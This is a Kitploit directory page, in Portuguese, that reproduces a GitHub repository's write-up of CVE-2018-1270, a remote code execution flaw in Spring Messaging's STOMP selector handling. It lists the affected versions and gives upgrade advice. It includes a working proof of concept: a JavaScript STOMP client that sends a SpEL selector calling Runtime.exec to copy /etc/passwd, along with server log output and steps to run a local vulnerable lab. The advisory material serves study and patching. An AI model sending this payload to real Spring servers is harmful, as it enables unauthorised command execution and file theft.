Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2018-1270 — RCE no protocolo STOMP da mensageria Spring | Kitploit
Ferramentas/GitHubGitHub/caledoniaproject/cve-2018-1270
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebAprendizado e EducaçãoArchived
GitHubcaledoniaproject/cve-2018-1270

CVE-2018-1270

RCE no protocolo STOMP da mensageria Spring

Ver Repositório
11318há 8 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2018-1270 - Vulnerabilidade de Execução de Código SpEL no Spring Messaging

Ontem, a Spring divulgou uma vulnerabilidade RCE. Vamos dar uma olhada:

  • CVE-2018-1270: Execução Remota de Código com spring-messaging

Versões afetadas

  • Spring Framework 5.0 a 5.0.4
  • Spring Framework 4.3 a 4.3.14

Esta vulnerabilidade não requer ambiente específico. Se você estiver usando spring-messaging + websocket + STOMP, atualize para a versão mais recente o mais rápido possível; se estiver usando SpringBoot, atualize para 2.0.1.RELEASE.

Detalhes da Vulnerabilidade

Simplificando, como o StandardEvaluationContext tem permissões excessivas, é possível executar qualquer expressão SpEL. Por isso, a partir do Spring 5.0.5, a oficial adicionou o SimpleEvaluationContext, que permite uma vinculação de dados simples, mantendo a flexibilidade sem trazer riscos de segurança.

O spring-messaging fornece suporte ao protocolo STOMP, permitindo que os clientes assinem mensagens e usem um seletor para filtrá-las. Exemplo:

root@kitploit:~
selector = 'T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")'
stompClient = Stomp.client('ws://localhost:8080/hello')
stompClient.connect({}, function(frame) {
    stompClient.subscribe('/topic/greetings', function() {}, {
        "selector": selector
    })
});

Quando você assina, o Spring armazena esse filtro e o aciona quando o cliente recebe a mensagem. Exemplo:

root@kitploit:~
2018-04-07 08:32:20 [clientInboundChannel-3] TRACE o.s.m.s.b.DefaultSubscriptionRegistry - Subscription selector: [T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")]

...

2018-04-07 08:32:21 [MessageBroker-2] DEBUG o.s.m.s.b.DefaultSubscriptionRegistry - Failed to evaluate selector: EL1001E: Type conversion problem, cannot convert from java.lang.UNIXProcess to boolean

Captura de tela do PoC

screenshot

O artigo detalhado sobre a análise da vulnerabilidade será publicado em breve.

Como usar o ambiente

Compile e inicie o servidor Spring Boot:

root@kitploit:~
mvn clean package
java -jar target/spring-boot-websocket-1.0.jar

Acesse - insira a expressão para testar:

root@kitploit:~
http://localhost:8080

screenshot

Baixar ferramenta